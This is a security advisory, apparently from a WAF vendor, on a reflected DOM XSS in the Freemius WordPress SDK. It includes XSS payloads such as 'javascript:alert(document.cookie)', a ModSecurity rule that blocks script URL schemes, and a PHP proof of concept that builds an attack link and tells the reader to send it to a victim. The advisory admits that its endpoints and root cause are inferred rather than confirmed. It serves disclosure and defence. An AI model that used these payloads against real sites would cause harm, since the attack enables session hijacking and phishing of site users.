Atomic Edge analysis of CVE-2024-13362 (metadata-based):
This vulnerability is a reflected DOM-based XSS in the Freemius framework (version <= 2.10.1), affecting multiple WordPress plugins and themes that embed it, including the streamweasels-twitch-integration plugin (vulnerable up to 1.9.2). The attack vector is a crafted URL with a malicious `url` parameter. When a victim clicks the attacker's link, the injected script executes in their browser session. The CVSS score is 6.1 (Medium), with low impact on confidentiality and integrity, and no impact on availability.
Root Cause: Based on the CWE-79 classification and the vulnerability description, the root cause is insufficient input sanitization and output escaping of the `url` parameter before it is rendered in the DOM. The Freemius SDK likely reads the `url` parameter from the query string and injects it directly into the page's HTML or JavaScript context without proper encoding. The developer likely assumed the `url` parameter would be used only for redirects or API calls, but failed to sanitize it against script injection. This conclusion is inferred from the CWE and description; no code diff is available to confirm the exact injection point.
Exploitation: An unauthenticated attacker crafts a malicious link pointing to any WordPress site using a vulnerable plugin or theme that includes the Freemius SDK. The link includes a `url` parameter containing a JavaScript payload, e.g., `?url=javascript:alert(document.cookie)`. The attacker then tricks the victim into clicking the link (e.g., via phishing email or social engineering). When the victim's browser loads the page, the Freemius SDK reads the `url` parameter and inserts it into the DOM without sanitization, causing the payload to execute. The attack vector is entirely client-side, requiring user interaction (click).
Remediation: The plugin developer should sanitize the `url` parameter using WordPress's built-in `esc_url_raw()` or `sanitize_url()` functions before processing it, and escape output with `esc_url()` when rendering it in the DOM. Additionally, the SDK should avoid directly assigning user-supplied URL parameters to DOM attributes (like `href`, `src`, or `onclick`). A robust fix would also validate that the URL matches an expected pattern (e.g., a valid HTTP/HTTPS URL) and reject any protocol handlers like `javascript:` or `data:`.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser within the context of the WordPress site. This can lead to session hijacking (theft of authentication cookies), redirection to malicious sites, defacement of the page content, or phishing by injecting fake login forms. The attacker cannot directly access server-side data or escalate privileges, but client-side attacks can compromise user accounts or spread through social engineering.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Blocks reflected DOM-based XSS via the 'url' parameter in Freemius SDK endpoints
# Targets the key vulnerable parameter: url containing javascript: or data: protocol handlers
SecRule REQUEST_URI "@rx ^/wp-admin/admin-ajax.php$"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Freemius Reflected XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS:url "@rx ^(javascript|data|vbscript):" "chain"
SecRule ARGS:action "@streq fs_connect" "t:none"
SecRule REQUEST_URI "@rx ^/wp-content/plugins/[^/]+/freemius/start.php$"
"id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Freemius Reflected XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS:url "@rx ^(javascript|data|vbscript):" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based XSS via url Parameter
// Assumptions:
// 1. The target WordPress site uses a plugin/theme with Freemius SDK 2.10.1 or earlier.
// 2. The vulnerable parameter is 'url' (as described in the CVE title).
// 3. No authentication is required to trigger the reflected XSS (unauthenticated).
$target_url = 'http://wordpress.local'; // CHANGE THIS to the target WordPress site
$payload = 'javascript:alert(document.domain)';
// Build the malicious URL with the XSS payload in the 'url' parameter
// The exact endpoint might vary; we use a common Freemius handler path
$attack_url = $target_url . '/wp-content/plugins/streamweasels-twitch-integration/freemius/start.php?url=' . urlencode($payload);
// Alternatively, the vulnerability may be triggered via admin-ajax.php with an action
// $attack_url = $target_url . '/wp-admin/admin-ajax.php?action=fs_connect&url=' . urlencode($payload);
echo "[+] Atomic Edge Research - CVE-2024-13362 PoCn";
echo "[+] Target: $target_urln";
echo "[+] Malicious URL: $attack_urln";
echo "[+] Send this link to the victim. When clicked, the JavaScript payload will execute.nn";
// Optional: Simulate the request (doesn't execute JS server-side, just retrieves the page)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] HTTP response code: $http_coden";
if ($http_code == 200) {
echo "[+] The payload is likely reflected in the response (check for 'javascript:alert' in the HTML source).n";
} else {
echo "[!] Unexpected response code; the attack may require a different endpoint or the victim's browser to execute.n";
}
